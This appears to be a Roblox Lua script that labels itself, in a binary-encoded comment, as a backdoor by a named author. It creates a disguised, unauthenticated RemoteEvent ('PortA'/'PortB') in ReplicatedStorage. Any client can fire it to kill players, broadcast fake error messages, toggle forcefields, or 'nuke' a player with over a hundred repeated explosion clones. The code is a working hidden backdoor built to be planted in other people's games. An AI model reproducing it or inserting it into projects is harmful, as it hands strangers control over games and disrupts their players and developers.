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- --[[
- 01000010 01100001 01100011 01101011 01100100 01101111 01101111
- 01110010
- 00100000 01101101 01100001 01100100 01100101 00100000 01100010
- 01111001
- 00100000 01001011 01101100 01101111 01101110 01100100 01101001
- 01101011 01100101 00100011 00110011 00110010 00110010 00110111
- --]]
- -- Get Player:
- function getPlayer(name)
- local returned = {}
- for i, v in pairs(game.Players:GetChildren()) do
- if v.Name:sub(1,name:len()):lower() == name:lower() then
- table.insert(returned,v)
- end
- end
- return returned
- end
- local Protector = Instance.new("Folder", game.ReplicatedStorage)
- Protector.Name = "PortA"
- local Remote = Instance.new("RemoteEvent", Protector)
- Remote.Name = "PortB"
- Remote.OnServerEvent:connect(function(plr, Event)
- if Event:lower():sub(1, 5)=="kill " then
- local plr = getPlayer(Event:lower():sub(6))
- if #plr == 1 then
- local player = plr[1]
- if player.Character then
- player.Character.Humanoid.Health = 0
- end
- end
- elseif Event:lower():sub(1, 6)=="error " then
- script.PortC.Frame.er.Text = Event:lower():sub(7)
- for i, v in pairs(game.Players:GetChildren()) do
- if v:IsA"Player" then
- local CC = script.PortC:Clone()
- CC.Parent = v.PlayerGui
- wait(4)
- CC:Destroy()
- end
- end
- elseif Event:lower():sub(1, 3)=="ff " then
- local plr = getPlayer(Event:lower():sub(4))
- if #plr == 1 then
- local player = plr[1]
- if player.Character then
- local no_u = Instance.new("ForceField", player.Character)
- no_u.Name = "0_FF"
- end
- end
- elseif Event:lower():sub(1, 5)=="unff " then
- local plr = getPlayer(Event:lower():sub(6))
- if #plr == 1 then
- local player = plr[1]
- if player.Character then
- player.Character["0_FF"]:Destroy()
- end
- end
- elseif Event:lower():sub(1, 5)=="nuke " then
- local plr = getPlayer(Event:lower():sub(6))
- if #plr == 1 then
- local player = plr[1]
- if player.Character then
- script.Sound:Play()
- local big = Instance.new("Part", workspace)
- big.CanCollide = false
- big.Anchored = true
- big.Shape = "Ball"
- big.BrickColor = BrickColor.new("Deep orange")
- big.Size = Vector3.new(85.54, 85.54, 85.54)
- big.Position = Vector3.new(player.Character.Head.Position)
- local boom = Instance.new("Explosion", player.Character)
- boom.ExplosionType = Enum.ExplosionType.CratersAndDebris
- boom.Position = player.Character.Head.Position
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- boom:Clone().Parent = player.Character
- wait(10)
- big:Destroy()
- end
- end
- end
- end)
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